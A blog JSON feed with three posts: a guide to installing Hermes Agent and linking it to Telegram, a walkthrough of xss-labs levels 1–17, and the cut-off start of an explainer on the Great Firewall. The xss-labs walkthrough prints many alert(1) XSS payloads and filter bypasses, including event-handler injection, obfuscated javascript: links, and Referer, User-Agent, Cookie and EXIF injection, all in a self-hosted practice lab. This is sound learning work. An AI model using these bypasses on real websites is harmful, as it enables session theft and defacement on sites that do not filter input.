{ "version": "https://jsonfeed.org/version/1", "title": "云泽の小屋", "description": "", "home_page_url": "https://old.zeyun.org", "feed_url": "https://old.zeyun.org/feed.json", "user_comment": "", "icon": "https://old.zeyun.org/media/website/1024px-BanG_Dream_Logo-10th.webp", "author": { "name": "云泽" }, "items": [ { "id": "https://old.zeyun.org/hermes_global.html", "url": "https://old.zeyun.org/hermes_global.html", "title": "使用 PVE 内网部署 Hermes Agent", "summary": "前言： 首先需要注意的是，本教程适用于具有科学上网环境的用户进行使用，如果您没有科学上网的环境，请点击此链接，进行离线安装教程：点我前往离线安装篇 本篇教程会从零基础的 Hermes 安装部署，再到与…", "content_html": "

前言：

\n

首先需要注意的是，本教程适用于具有科学上网环境的用户进行使用，如果您没有科学上网的环境，请点击此链接，进行离线安装教程：点我前往离线安装篇

\n

本篇教程会从零基础的 Hermes 安装部署，再到与 Telegram Bot 对接

\n
搭建环境推荐：
\n\n
本教程的示例配置如下
\n\n
我的相关配置思路如下
\n\n

这里我直接跳过科学上网配置以及虚拟机安装的相关部分，默认你已经具备了远程ssh连接上机器这台Linux，并且这台机器具备科学上网的能力

\n

（关于Ubuntu系统安装配置部分，可跳转我的博客相关文章）

\n

第一部分：拉取Hermes-Agent官方脚本

\n

stp1：更新包管理器

\n
sudo apt update
\n

stp2：拉取安装脚本

\n
curl -fsSLO https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.sh
\n

stp3：查看脚本

\n
less install.sh
\n

如果显示以下内容即为成功拉取脚本

\n
\"\"
\n

stp4：按下键盘的q，退出查看

\n

执行以下命令，进行安装

\n
bash install.sh
\n

会自动拉取一长串脚本里的内容

\n
\"\"
\n

耐心等待进度条跑完

\n

第二部分：开始按照脚本部署Hermes

\n
如果中途出现意外打断脚本的情况（例如不小心或者出现卡死，按下了ctrl+c）可查看本部分的末尾，自行恢复
\n

stp1：这里一步骤输入y，安装Playwright（一个浏览器自动化工具库），用来给 Hermes 的\"浏览器工具\"（browser tools）功能提供支持

\n
\"\"
\n

stp2：按向下键，选择Full setup选项

\n
\"\"
\n

stp3：按需选择对应模型

\n
\"\"
\n

这里我选择DeepSeek作为演示（DeepSeek API：点我前往官方购买）

\n

*建议：第一次买的话，不要买多，10块钱的就可以了

\n

stp4：填入你的API KEY，并再次按下回车

\n
\"\"
\n

stp5：模型选择部分，这里我选择v4-flash（v4-pro太烧token，选择flash我认为完全够用）

\n
\"\"
\n

stp6：除非你有特殊需求，否则这里直接选择最后一个即可

\n
\"\"
\n

stp7：对接部分，这里选择Telegram，并按下空格，再次回车即可

\n
\"\"
\n

stp8：这里我们选择2，使用官方的Bot Father来进行对接

\n
\"\"
\n

stp9：打开你的网页版 Telegram（手机端也是同理）

\n

搜索@botfather（注意是下图的这个，后面有一个紫色小勾的，不是其他的）

\n
\"\"
\n

stp10：获取 Token API & User id

\n

打开这个对话后，依次输入

\n
/start
\n

创建新机器人

\n
/newbot
\n

他会让你给你的机器人取一个独一无二的名字

\n
\"\"
\n

你的名称格式必须要以_bot结尾

\n

例如我这里取名是

\n
fsdertest_bot\n你的名字+_bot
\n

随后你会看到独属于你的机器人发给你的密钥（注意，千万不要泄露！！！）

\n
\"\"
\n

把他复制粘贴给之前的终端里，按下回车，他会让你输入你的 User ID

\n
\"\"
\n

你需要继续搜索这个叫做@userinfobot

\n

注意，这里要选择前面有这个白色皇冠认证的

\n
\"\"
\n

随后向他发送

\n
/start
\n

你就会看到你的ID，复制并粘贴到这之前的终端里

\n
\"\"
\n

stp11：选择bot的接收频道

\n\n
\"\"
\n

默认的话和我一样都输入Y，即可

\n

stp12：设置网关为系统服务

\n
\"\"
\n

如果你想自己管理他的启动，那么就选择第二个跳过

\n

stp13：是否现在启动

\n
\"\"
\n

这里直接输入Y（或者默认回车），即可

\n

stp14：根据自己的需求，进行对应的功能性质选择
我的选择如下，仅供参考

\n
\"\"
\n

stp15：选择内置浏览器

\n
\"\"
\n

直接默认免费的即可（如果你有对应的API，也可使用其他的）

\n

下一步直接回车即可

\n
\"\"
\n

stp16：选择搜索引擎

\n
\"\"
\n

选择和我上图一样的，免费的即可

\n

stp17：选择 Telegram 工具

\n
\"\"
\n

我的建议是取消勾选画图和图像识别（如果你有API，那可以使用）

\n

stp18：再次选择浏览器提供商

\n
\"\"
\n

这里将会显示[active]激活状态

\n

stp19：语言转文字服务提供商

\n
\"\"
\n

这里直接默认免费的即可

\n

stp20：再次确认搜索引擎

\n
\"\"
\n

这里将会显示[active]激活状态

\n

第三部分：最终确认配置

\n
\"\"
\n

这会自动把网关配置为我们在最开始提到的后台服务（如 Systemd 用户服务），让它能够一直在后台稳定守候、处理消息，即使你关掉终端也不会断线

\n

*温馨提示：如果Ctrl+C 打断了配置怎么办

\n

或者后续脚本遇到了任何意外所导致的退出，那么请你先输入以下的命令

\n
source ~/.bashrc
\n

可以再次按照当前进度，输入对应的恢复方式：

\n
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
命令只重配这一部分
hermes setup完整向导（全部重来）
hermes setup tools只配工具
hermes setup model只配模型/provider
hermes setup gateway只配消息平台
hermes setup terminal只配 terminal backend
\n
\n
可自行根据上述的表格来进行自己恢复对应的进度
\n

聊天部分

\n

再次在 Telegram 里搜索刚刚创建的机器人名字，就能找到你的机器人，并可以成功聊天

\n
\"\"
\n

尝试聊天试试

\n
\"\"
\n

成功🎉🎉🎉

\n

至此本教程结束，感谢您的观看，我们下一篇再见😎

", "author": { "name": "云泽" }, "tags": [ "Ai 工具推荐" ], "date_published": "2026-07-15T05:49:36+09:00", "date_modified": "2026-07-15T07:04:52+09:00" }, { "id": "https://old.zeyun.org/xss-labs.html", "url": "https://old.zeyun.org/xss-labs.html", "title": "XSS-Labs：从零开始的跨站脚本漏洞探究", "summary": "在搞定了之前的网络拓扑和虚拟化实验室之后，近期我把视线转向了 Web 前端安全领域。作为应用层安全中绕不开的大山，XSS（Cross-Site Scripting，跨站脚本攻击）一直是我想要深入系统学习的板块 为了不再纸上谈兵，我在本地的虚拟机环境里搭建了经典的…", "content_html": "

在搞定了之前的网络拓扑和虚拟化实验室之后，近期我把视线转向了 Web 前端安全领域。作为应用层安全中绕不开的大山，XSS（Cross-Site Scripting，跨站脚本攻击）一直是我想要深入系统学习的板块

\n

为了不再纸上谈兵，我在本地的虚拟机环境里搭建了经典的 xss-labs 漏洞靶场。XSS 的本质其实很简单，总结起来就是一句话：“服务端未对用户输入进行严格过滤，导致恶意数据在前端被浏览器误当作代码执行”

\n

这里我依旧使用虚拟机+docker的方式去部署靶场，具体流程简单概括如下：

\n

如果你不会部署基础的docker环境，那么请参考我的这篇博客：虚拟机+docker部署靶场

\n

（这里我用的镜像是下图的utrzhegu/xsslabs靶场）：

\n
\"\"
\n

步骤一：拉取该镜像

\n
docker pull utrzhegu/xsslabs:0.1
\n

步骤二：查看已经下载的镜像

\n
docker images
\n
\"\"
\n

步骤三：启动镜像，并重命名为xsslabs，将镜像映射在8088端口（这里你也可以根据你自己情况调整）

\n
docker run -d --name xsslabs -p 8088:80 utrzhegu/xsslabs:0.1
\n

浏览器输入虚拟机的IP地址+端口号（发现成功访问靶场🎉）

\n
\"\"
\n

下次可以输入以下命令启动靶场

\n
docker start xsslabs
\n

也可以像我一样，设置开机自启动

\n
docker update --restart=always xsslabs
\n

成功部署完成之后，接下来我们开始解题

\n

第一关（level 1）

\n
\"\"
\n

漏洞分析：通过观察可以确认，程序将 URL 中的 name 参数直接拼接进了 HTML 页面中，这意味着，只要我们构造一段合法的 HTML 标签或 JavaScript 脚本代替 test，浏览器在解析 DOM 树时就会被“欺骗”，从而执行我们的恶意代码

\n

先尝试把test值改成aaa试试

\n

按下F12，打开开发者窗口，查看网页前端源码

\n
\"\"
\n

这种位置是新手最容易理解的 XSS 场景，叫：HTML 正文回显

\n

然后测试它会不会把 HTML 当成标签解析，我们输入<h1>aaa</h1>

\n
\"\"
\n

说明 <h1> 被浏览器当成 HTML 标签解析了，这很关键

\n

然后再尝试最基础的 XSS Payload

\n

第一关大概率没有过滤，所以可以直接在name后面试：

\n
name=<script>alert(1)</script>
\n

发现页面成功弹窗，即为解题成功

\n
\"\"
\n

漏洞原因：后端直接把用户传入的 name 参数输出到了 HTML 页面中，没有进行 HTML 实体转义，导致浏览器把用户输入解析成了可执行脚本

防御方式：输出到 HTML 页面之前，应当进行 HTML 实体编码，例如将：

\n
< 转义为 &lt;\n> 转义为 &gt;\n\" 转义为 &quot;\n' 转义为 &#x27;
\n

这种防御方式我们会在第三关（level3）进行绕过

\n

第二关（level2）

\n

我们进入第二关之后，继续沿用第一关的alert弹窗命令，查看有无效果

\n
\"\"
\n

发现并没有出现弹窗，于是打开F12，查看网页源代码

\n
\"\"
\n

这说明，我们输入的恶意代码不是单纯出现在页面正文里，而是出现在了一个 HTML 标签的属性里面

\n

我们这里的输入的 <script> 被包在 value=\"...\" 里面，也就是说，它只是输入框的内容，不一定会被浏览器当成真正的脚本标签执行

\n

所以第二关的核心思路是：

\n
先从 value=\"...\" 里面逃出来\n再插入真正的 HTML/JS 代码
\n

我们需要先用一个双引号 \" 把前面的 value=\" 结束掉

\n

例如输入：

\n
\">
\n

页面结构就可能变成：

\n
<input value=\"\">
\n

这样我们就从属性值里面出来了，然后再接一个脚本：

\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\"><script>alert(1)</script>
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n

最终页面就变成了：

\n
<input value=\"\"><script>alert(1)</script>\">
\n

最终在HTML里执行的源代码如下：

\n
\"\"
\n

所以我们在搜索框输入：

\n
\"\"
\n

即可触发弹窗

\n
\"\"
\n

第三关（level3）

\n

继续尝试沿用第二关的闭合思路，输入\"><script>alert(1)</script>，发现这一关行不通，按下Ctrl+U，查看实际的网页源码

\n
\"\"
\n

浏览器看到：

\n
&lt;script&gt;alert(1)&lt;/script&gt;
\n

不会把它当成真正的 <script> 标签，而是把它当成普通文字显示出来

\n

并且它过滤了 <、>、\"

\n

所以我们不能继续用 <script> 标签了

\n

这一关的新思路是：

\n
既然不能新建 <script> 标签\n那就利用已有的 input 标签，给它添加一个事件属性\n比如：\nonclick=\"alert(1)\"
\n

意思是：当用户点击这个 input 输入框时，执行 alert(1)

\n

得知了这个原理，那我们尝试下面这个 payload（这里有一个细节，需要注意上图的源码，这里是单引号闭合的，所以这里也需要输入单引号）

\n
' onclick='alert(1)
\n

我们输入后，服务器会拼接变成：

\n
<input name=\"keyword\" value='' onclick='alert(1)'>
\n

将这个onclick的想法输入到搜索框，点击后即可弹窗

\n
\"\"
\n

Tips：提交后，记得点击输入框触发

\n

第四关（level4）

\n

我们继续沿用之前第二关（level2）的想法，发现输入\"><script>alert(1)</script>之后并没有成功，这说明本关过滤了尖括号，因此不能通过新建 <script> 标签执行 JavaScript

\n

依旧Ctrl+U查看源码，发现以下几点

\n
\"\"
\n

但是，我们发现\"没有被删掉，而这就是第四关（level4）的突破口

\n

我们可以尝试将第三关（level3）的这个 Payload 进行加工（将单引号变成双引号）

\n
\" onclick=\"alert(1)
\n

提交后，源代码会变成：

\n
<input name=keyword value=\"\" onclick=\"alert(1)\">
\n

此时 onclick 成为 input 标签的事件属性，点击输入框即可触发 JavaScript，完成 XSS

\n

第五关（level5）

\n

初步尝试沿用第二和第三关的想法，发现行不通（原因如下图的文字说明）

\n
\"\"
\n

那我们换一种方式，用 javascript: 链接

\n
<a href=\"javascript:alert(1)\">点我</a>
\n

思路很简单，创建一个超链接，当点击这个链接时，执行 javascript: 后面的代码

\n

所以 Payload 可以写成：

\n
\"><a href=\"javascript:alert(1)\">点我</a>
\n

为什么这个 Payload 可以绕过？

\n

原始结构是：

\n
<input name=keyword value=\"你的输入\">
\n

我们加上制作的超链接之后，代码拼接后变成：

\n
<input name=keyword value=\"\">\n<a href=javascript:alert(1)>点我</a>\n\">
\n

拆开看是这样的：

\n
\" \n关闭 value 属性\n\n>\n关闭 input 标签\n\n<a href=javascript:alert(1)>点我</a>\n创建一个超链接，点击后执行 JavaScript
\n

提交之后页面上会出现一个“点我”的链接
你需要点击这个链接，才会触发弹窗

\n
\"\"
\n

点击后，即可成功跳转

\n
\"\"
\n

第六关（level6）

\n

尝试使用第五关的思维，我们输入\"><a href=javascript:alert(1)>点我</a>，但是Ctrl+U查看源码后，却发现它返回的结果确是\"><a hr_ef=javascript:alert(1)>点我</a>

\n
\"\"
\n

从源码的这张图可以判断出（也就是它在过滤关键词 href）：

\n
< 没有被删\n> 没有被删\na 标签没有被删\njavascript: 没有被删\nalert(1) 没有被删\nhref 被改成了 hr_ef
\n

结合这些，我们发现既然它过滤的是小写的，它会不会只过滤小写 href？

\n

所以我们把\"><a href=javascript:alert(1)>点我</a>的小写href替换成全大写的HREF，再带入试试

\n
\"><a HREF=javascript:alert(1)>点我</a>
\n

惊奇的发现居然出现了我们制作的超链接

\n
\"\"
\n

点击超链接之后，即可成功弹窗

\n
\"\"
\n

第七关（level7）

\n

我们尝试重复使用第六关的步骤，发现并没有弹出链接，所以我们Crtl+U，查看源码后发现图片里的情况

\n
\"\"
\n

也就是说，它看到危险关键词就直接删除

\n

既然它会删除：href，script等关键词，那么我尝试双写试试

\n

那我们可以故意把关键词“套娃”写进去，让它删掉中间那一段以后，剩下的刚好又拼成正确关键词

\n

输入以下内容：

\n
\"><a hrhrefef=\"javascrscriptipt:alert(1)\">点我</a>
\n

输入完成之后，发现出现了我们熟悉的超链接，点击后即可顺利进入下一关

\n
\"\"
\n

第八关（level8）

\n

我们看到这里有一个搜索框，那么第一时间想到的肯定是输入javascript:alert(1)看看结果怎么样，点击“添加友情链接”后，发现跳转到了一个错误的URL

\n
\"\"
\n

查看源码后发现，出现了关键词过滤改写，而且这里是不需要再闭合 input 标签，也不需要重新插入一个 a 标签，而是应该直接控制 href 的值，所以我们尝试使用特殊值，看看能不能绕过

\n

在 HTML 里，浏览器会解析 HTML 实体编码，那尝将期中一个字母转成HTML编码再带入试试（这里我是用的是burp suite自带的转码工具进行转码）

\n
\"\"
\n

将这个字母s转码后的结果（&#x73;）带入到我们之前尝试的语句中可得

\n
java&#x73;cript:alert(1)
\n

再次点击“友情链接”，即可得到正确结果，进入下一关

\n
\"\"
\n

第九关（level9）

\n

我们显示尝试使用我前一个关卡的思路，输入java&#x73;cript:alert(1)，查看源码后发现

\n
\"\"
\n

先做一个非常简单的测试，在输入框输入：

\n
http://test.com
\n

查看源码后，发现，带有http的语句可以被执行

\n
\"\"
\n

那就说明，这里的要求输入里必须包含http://

\n

那么我们就可以想到，构造既能执行 JavaScript，又能通过合法性判断的 Payload

\n
java&#x73;cript:alert(1)//http://test.com
\n

最终成功弹窗

\n
\"\"
\n

*注：这里我一开始尝试使用普通的javascript:alert(1)，发现还是有关键词匹配的，会将script替换成scr_ipt，所以这里还是要用转码后的格式

\n

第十关（level10）

\n

打开这一关发现啥也没有，查看源码可发现，有3个属性为 hidden 的隐藏 value

\n
\"\"
\n

虽然页面上没有输入框，但我们可以手动输入参数，判断后端是否会接收 URL 参数

\n

（这一步不是为了攻击，而是为了确认，隐藏 input 的 value 值是否来自 URL 参数）

\n
&t_link=aaa\n&t_history=bbb\n&t_sort=ccc
\n

将以上内容拼接到网站链接后，再次查看源码，可发现有一个 value 接受了我们输入的测试参数ccc

\n
\"\"
\n

因为它是 hidden，所以我们点不到它，也看不到它

\n

但是我们可以通过注入，把它变成普通文本框（要注意这里的palyload需要拼接在我们之前发现的&t_sort=后，因为只有这一个才能传入参数）

\n
&t_sort=\" type=\"text\" onclick=\"alert(1)
\n

这样原本隐藏的输入框就可能变成一个可点击的文本框，你点击它，就触发 onclick

\n

最后也是成功触发弹窗

\n
\"\"
\n

第十一关（level11）

\n

这一关我们发现还是依旧啥也没有，所以我们还是Ctrl+U打开网页源代码看看

\n
\"\"
\n

所以这里我们看到的不是普通 URL 参数控制，而是：

\n
请求头 Referer → 后端读取 → 输出到 hidden input 的 value 里
\n

那 Payload 应该怎么构造？

\n

现在注入点是：

\n
<input name=\"t_ref\" value=\"你的 Referer\" type=\"hidden\">
\n

所以我们仍然可以用双引号逃逸：

\n
\" type=\"text\" onclick=\"alert(1)
\n

最终希望它变成：

\n
<input name=\"t_ref\" value=\"\" type=\"text\" onclick=\"alert(1)\" type=\"hidden\">
\n

意思是：

\n
\" \n闭合 value 属性\n\ntype=\"text\"\n把 hidden 输入框改成普通输入框\n\nonclick=\"alert(1)\n添加点击事件\n\n后面原本的 \"\n帮我们闭合 onclick 属性
\n

然后页面上会出现一个输入框，点击它就弹窗

\n

所以我们的 Payload 就是：

\n
Referer: \" type=\"text\" onclick=\"alert(1)
\n

接下来会需要用到Burp Suite的截包工具（如果你没有Burp Suite，那么还请前往这篇链接进行安装，点我前往安装Burp Suite文章）

\n

接下来我们使用 Burp Suite 进行截包，并使用 Burp Suite 的浏览器进行操作（这样会更直观）

\n
\"\"
\n

在新打开的浏览器中，输入你第11关（level11）的靶场网址（你的IP地址会和我的不一样，注意区分）

\n
http://192.168.153.141:8088/level11.php?keyword=good%20job!
\n

按照下图的步骤，在HTTP请求头里添加 Referer

\n
\"\"
\n

随后点击“Forward”放行这个数据包，即可出现搜索框，点击即可弹窗

\n
\"\"
\n

第十二关（level12）

\n

有了上一关的经验，这次我们依旧查看源码，看看网页端写了什么

\n
\"\"
\n

源码里出现了：

\n
<input name=\"t_ua\" value=\"浏览器UA内容\" type=\"hidden\">
\n

这说明后端做了类似这样的事情：

\n
读取 HTTP 请求头里的 User-Agent\n↓\n输出到 hidden input 的 value 属性中
\n

所以第 12 关的注入点不是 URL 参数，而是：User-Agent: 这里

\n

那么就很简单了 Payload 就和第 11 关一样，里面，所以还是用双引号闭合

\n
目标是把原来的：\n<input name=\"t_ua\" value=\"你的User-Agent\" type=\"hidden\">\n变成：\n<input name=\"t_ua\" value=\"\" type=\"text\" onclick=\"alert(1)\" type=\"hidden\">
\n

这样原本隐藏的输入框会变成普通文本框，点击它就触发 onclick

\n

操作步骤还是和第11关一样，这里我就使用文字来进行简单概述一下

\n
1. Burp → Proxy → Intercept\n2. 打开 Intercept on\n3. 浏览器刷新：\n   http://192.168.153.141:8088/level12.php\n4. Burp 拦截请求\n5. 找到 User-Agent 这一行\n6. 把它改成：\n   User-Agent: \" type=\"text\" onclick=\"alert(1)\n7. 点 Forward\n8. 回到浏览器，页面应该出现一个小输入框\n9. 点击输入框，触发弹窗
\n
\"\"
\n

最后点击“Forward”放行这个数据包，即可出现搜索框，点击即可触发弹窗

\n
\"\"
\n

第十三关（level13）

\n

这次打开页面，发现有一行报错，翻译成中文是

\n
警告 ：无法修改标头信息 - 标头已由（输出始于 /var/www/html/level13.php:1）发送，位于 /var/www/html/level13.php 第 16 行
\n

根据前几关的思路，我们发现这似乎已经形成了一个规律：

\n
level10:\nt_link / t_history / t_sort\n↓\n隐藏字段\n↓\n通过 URL 参数控制\n\nlevel11:\nt_ref\n↓\nref 很像 Referer\n↓\n实际来自 Referer 请求头\n\nlevel12:\nt_ua\n↓\nua 是 User-Agent 的常见缩写\n↓\n实际来自 User-Agent 请求头
\n

那这里的第十二关，我们通过Crtl+U查看源码可发现一个名叫t_cook的参数

\n

这是一个强线索，但是需要实验来进行验证

\n

我们首先先使用第十关（level10）的思想，我们直接在浏览器的地址栏输入以下内容

\n
http://192.168.153.141:8088/level13.php?t_cook=aaa
\n

但是再次查看源码后发现并没有传入参数，那么也就说明它大概率不是从 URL GET 参数来的

\n

然后再测试 Cookie，这时用 Burp 拦截请求，在请求头里加：

\n
Cookie: user=aaa
\n
\"\"
\n

经过上述的步骤，这里也是成功验证了t_cook就是cookie

\n

在已经确认Cookie: user=aaa能控制t_cook，再把 Cookie 改成：

\n
Cookie: user=\" type=\"text\" onclick=\"alert(1)
\n

在点击我们构造的 Payload 点击事件后，即可成功触发XSS弹窗

\n
\"\"
\n

第十四关（level14）

\n

在这一关，我们发现这里的网页源码中访问了一个网站（但截至当前时间节点，该网站似乎已经关站了，所以无奈之下，只能跳过）

\n
\"\"
\n

结合早期前辈的访问记录，这里我简单说一下这一关的原理和步骤

\n
\"\"
\n

你可以把它理解成：图片表面是一张正常图片，但图片的“属性信息”里可以写文字；如果网站把这些文字直接输出到网页，就可能触发 XSS

\n
\"\"
\n

也就是说，不是你在地址栏里写 payload，而是把 payload 写进图片的属性里（如上图所示）

\n

这些信息就叫图片元数据，常见类型包括：

\n
EXIF\nIPTC\nXMP
\n

比如图片属性里可能有：

\n
标题：xxx\n作者：xxx\n备注：xxx\n版权：xxx
\n

比如图片属性里可能有：

\n
标题：xxx\n作者：xxx\n备注：xxx\n版权：xxx
\n

如果我们把这些字段改成：

\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n
\"><img src=x onerror=alert(1)>
\n
\n
那么这个 payload 就被藏进图片里面了
\n
\n
\n
\n
\n
\n
\n
\n
\n
\n

下图红色箭头指向的这些破图标很关键，它说明：

\n
EXIF 字段里的 <img src=x ...> 被浏览器当成了真正的 img 标签解析
\n
\"\"
\n

但现在出现了破图标，说明浏览器真的创建了<img>元素

\n

然后因为 src=x 加载失败，就会触发：

\n
onerror=alert(1)
\n

也就是下图的弹窗

\n
\"\"
\n

以上图片出处为：先知社区

\n
那这个漏洞是怎么产生的？
\n

假设有一个图片信息查看网站，它会读取图片元数据，然后显示到网页上

\n

正常情况它应该这样显示：

\n
<td>&quot;&gt;&lt;img src=x onerror=alert(1)&gt;</td>
\n

这样浏览器只会把它当成普通文字

\n

但如果网站偷懒，直接输出：

\n
<td>\"><img src=x onerror=alert(1)></td>
\n

浏览器就会真的解析 <img> 标签

\n

因为：

\n
<img src=x onerror=alert(1)>
\n

里面的 src=x 是一个不存在的图片地址，所以图片加载失败，触发 onerror，然后执行：

\n
alert(1)
\n

这就是 EXIF XSS 的本质

\n

第十五关（level15）

\n

查看源码后发现，这儿有个陌生的东西ng-include

\n

这里需要补充一个概念：ng-include 是什么？

\n

可以先简单理解成：

\n
ng-include = 把另一个页面的内容加载进当前页面
\n

比如 Angular 里可以写：

\n
<span ng-include=\"'test.html'\"></span>
\n

意思是：把test.html的内容加载到这里

\n

可是现在页面没有输入框，也没有明显参数，所以不要急着打 payload

\n

先看源码：

\n
\"\"
\n

它是不是在等我们通过URL参数给ng-include传一个页面地址？

\n

常见参数名可能是src

\n

所以我们试试在后面拼接：

\n
src='level1.php'\n#注意这里有单引号，因为 ng-include 后面接的是 Angular 表达式，不是普通字符串\n#这里的 'level1.php' 就是一个字符串，Angular 知道你要加载这个页面
\n

发现居然下面拼接出来了第一关的页面

\n
\"\"
\n

然后再构造 XSS

\n

既然它可以加载别的页面，那我们可以加载前面已经知道有 XSS 的页面

\n

比如 level1的漏洞是：

\n
level1.php?name=alert弹窗语句
\n

但是我们并不能直接把第一关的<script>alert(1)</script>拿来直接使用

\n

因为 level15 是通过 AngularJS 的 ng-include 把 level1 的返回内容“动态插入”到当前页面里

\n

动态插入 HTML 时，浏览器/Angular 往往不会执行里面的 <script> 标签

\n

结合之前的第十四关（level14），我们可以使用

\n
<img src=x onerror=alert(1)>
\n

所以第 15 关可以使用以下的代码：

\n
level15.php?src='level1.php?name=<img src=x onerror=alert(1)>'
\n

输入后，即可成功触发弹窗：

\n
\"\"
\n

需要注意，这里不能和文件包含漏洞弄混淆，区别如下：

\n
从思路上，它像文件包含；\n从漏洞类型上，它更准确地叫 AngularJS ng-include 导致的前端 XSS
\n

第十六关（level16）

\n

首先还是依旧Ctrl+U查看源码

\n
\"\"
\n

这个位置其实很像我们在第 1 关测试的：

\n
<h2>test</h2>
\n

所以第一反应应该是：

\n
<script>alert(1)</script>
\n

但是第 16 关肯定不会这么简单。它会过滤一些东西

\n

再看源码，发现它变成了奇怪的东西，我们的<script>标签变成了&nbsp;

\n

既然<script>标签不行，那么我们尝试前一关的：

\n
<img src=x onerror=alert(1)>
\n
\"\"
\n

但是输入之后，依旧是失败的

\n

查看源码后发现：第 16 关没有把 <、>、onerror 删除，但它把普通空格替换成了 &nbsp;

\n

目前可以推断：

\n
< 没有被过滤\n> 没有被过滤\nimg 没有被过滤\nsrc 没有被过滤\nonerror 没有被过滤\nalert 没有被过滤\n\n但是普通空格被替换成了 &nbsp;
\n

空格可以用回车来代替绕过，回车的url编码是%0a，<>的url编码是，再配合上之前的<img>标签

\n
<img\nsrc=x\nonerror=alert(1)>
\n

将此内容进行URL转码

\n
\"\"
\n

最终可得以下URL编码（有点长）：

\n
%3c%69%6d%67%0a%73%72%63%3d%78%0a%6f%6e%65%72%72%6f%72%3d%61%6c%65%72%74%28%31%29%3e
\n

输入后，即为成功：

\n
\"\"
\n

第十七关（level17）

\n

打开后发现我们这个浏览器貌似不支持Flash插件，所以我们需要安装一个Flash补丁（纯净版本的，无广告，BTW，安装好后，需要依赖Flash插件的4399，7K7K等网页小游戏也能游玩了）

\n

下载链接：点我前往下载    密码：gsh3

\n

（1）下载好了之后，按照以下步骤完成安装

\n
\"\"
\n

（2）下图三个勾保持全选，并点击NEXT

\n
\"\"
\n

（3）下图的含义我都标注出来了（我不希望创建快捷方式，所以我值选择第一个）

\n

第一个你也可以选择不打勾（这个独立安装指的是能直接打开本地SWF小游戏用的）

\n
\"\"
\n

（4）这里直接按照下图，选择NEXT

\n
\"\"
\n

（5）再然后点击INSTALL，等待进度条跑完即可

\n
\"\"
\n

（6）最后安装好后，点击QUIT退出

\n
\"\"
\n

配置Edge浏览器（这里用Edge示例，其他浏览器也一样）

\n

（1）打开浏览器的“设置”，搜索“Internet Explorer”选项

\n
\"\"
\n

按照上图进行操作

\n

（2）按照下图的图片文字来操作

\n
\"\"
\n

（3）刷新原网页，即可出现

\n
\"\"
\n

查看源码后，不难发现

\n
\"\"
\n

<embed> 你可以先把它理解成：

\n
<embed src=\"要加载的资源地址\">
\n

它是 HTML 里用来嵌入外部资源的标签。以前常见用途是嵌入 Flash、PDF、音频、视频之类的内容

\n
<embed src=\"xsf01.swf\" width=\"100%\" height=\"100%\">
\n

意思就是：

\n
在当前网页里嵌入 xsf01.swf 这个 Flash 文件
\n

a=b 有什么用？它的作用是让你发现：

\n
arg01 和 arg02 被拼进了 embed 的 src 属性里
\n

我们当前的 URL 是：

\n
level17.php?arg01=a&arg02=b
\n

源码里变成：

\n
<embed src=xsf01.swf?a=b width=100% heigth=100%>
\n

这说明：

\n
arg01 的值 a\narg02 的值 b\n\n被拼成了：\n\nxsf01.swf?a=b
\n

也就是：

\n
xsf01.swf?arg01的值=arg02的值
\n

所以 a=b 本身不是漏洞，它是一个线索

\n

因为我们知道了：

\n
arg02 的值会出现在 HTML 标签的 src 属性里
\n

而且源码中 src 没有引号：

\n
<embed src=xsf01.swf?a=b width=100% heigth=100%>
\n

如果属性没有引号，浏览器遇到空格就会认为这个属性结束了

\n

比如正常是：

\n
src=xsf01.swf?a=b
\n

如果我们让 arg02 变成：

\n
b onmouseover=alert(1)
\n

那么页面就会变成：

\n
<embed src=xsf01.swf?a=b onmouseover=alert(1) width=100% heigth=100%>
\n

这时候：

\n
src=xsf01.swf?a=b
\n

就结束了

\n

后面的：

\n
onmouseover=alert(1)
\n

变成了一个新的事件属性。

\n

鼠标移动到这个嵌入区域上时，就会执行 alert(1)

\n

所以最终的payload如下：

\n
http://192.168.153.141:8088/level17.php?arg01=a&arg02=b%20onmouseover=alert(1)
\n

其中：%20 = 空格

\n

一句话总结：

\n

embed 是嵌入外部资源的标签；a=b 的作用是暴露 arg01 和 arg02 被拼进了 embed 的 src 属性里。真正的漏洞点是 src 属性没有加引号，导致可以用空格逃出属性并添加事件

\n

最后由于浏览器的内置保护，导致不能执行恶意代码，但是最终是能成功的

\n
\"\"
\n

可能作者也考虑到了这一点，所以我们点击前往下一关的按钮即可

\n

剩余内容正在更新中

\n

Ciallo～(∠・ω< )⌒☆

", "author": { "name": "云泽" }, "tags": [ "网络安全学习笔记", "Linux学习笔记" ], "date_published": "2026-05-17T23:01:18+09:00", "date_modified": "2026-05-22T01:18:24+09:00" }, { "id": "https://old.zeyun.org/what_is_gfw.html", "url": "https://old.zeyun.org/what_is_gfw.html", "title": "内网模拟"长城防火墙"", "summary": "由于众所不一定周知的原因，在国内正常网络环情况下，你是无法直接打开 Google、YouTube、Gmail 等一系列国际服务的…… 这一切的根源，就是在我们和真实互联网之间，横着一堵看不见却又无处不在的「墙」 这堵墙在行内人嘴里有个响亮的名字——长城防火墙（简称…", "content_html": "

由于众所不一定周知的原因，在国内正常网络环情况下，你是无法直接打开 Google、YouTube、Gmail 等一系列国际服务的……

\n

这一切的根源，就是在我们和真实互联网之间，横着一堵看不见却又无处不在的「墙」

\n

这堵墙在行内人嘴里有个响亮的名字——长城防火墙（简称 GFW）

\n

Q：那么这个所谓的「GFW」到底是什么东西？

\n

A： 它其实并不是一堵实体意义上的「墙」，而是一套智能检测 + 主动阻断的系统，部署在各大运营商的骨干网出口

\n

它主要靠以下几种手段「工作」：

\n\n

Q：那「翻墙」到底是个什么原理？

\n

A： 直白点说，就是把你的流量加密 + 伪装 + 境外中转，让 GFW 看不懂、拦不住（ 简单理解就是：翻墙 = 让 GFW 觉得你在访问一个「正常」的国际网站，而不是在翻墙）

\n
\"\"
\"\"
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
场景对应演化阶段演示的攻防点
A最古老的 DNS 污染连域名解析都过不了
B(Trojan)第 3 代有指纹的协议被 DPI 识破
C(Reality)第 4 代借真站门面骗过检测
\n

为了能够更好的理解上面的内容，我把会涉及到的一些关键名词概念，在这里先做一个统一的讲解

\n
先给个全局：当我们正常打开一个网页时，背后具体发生了什么
\n
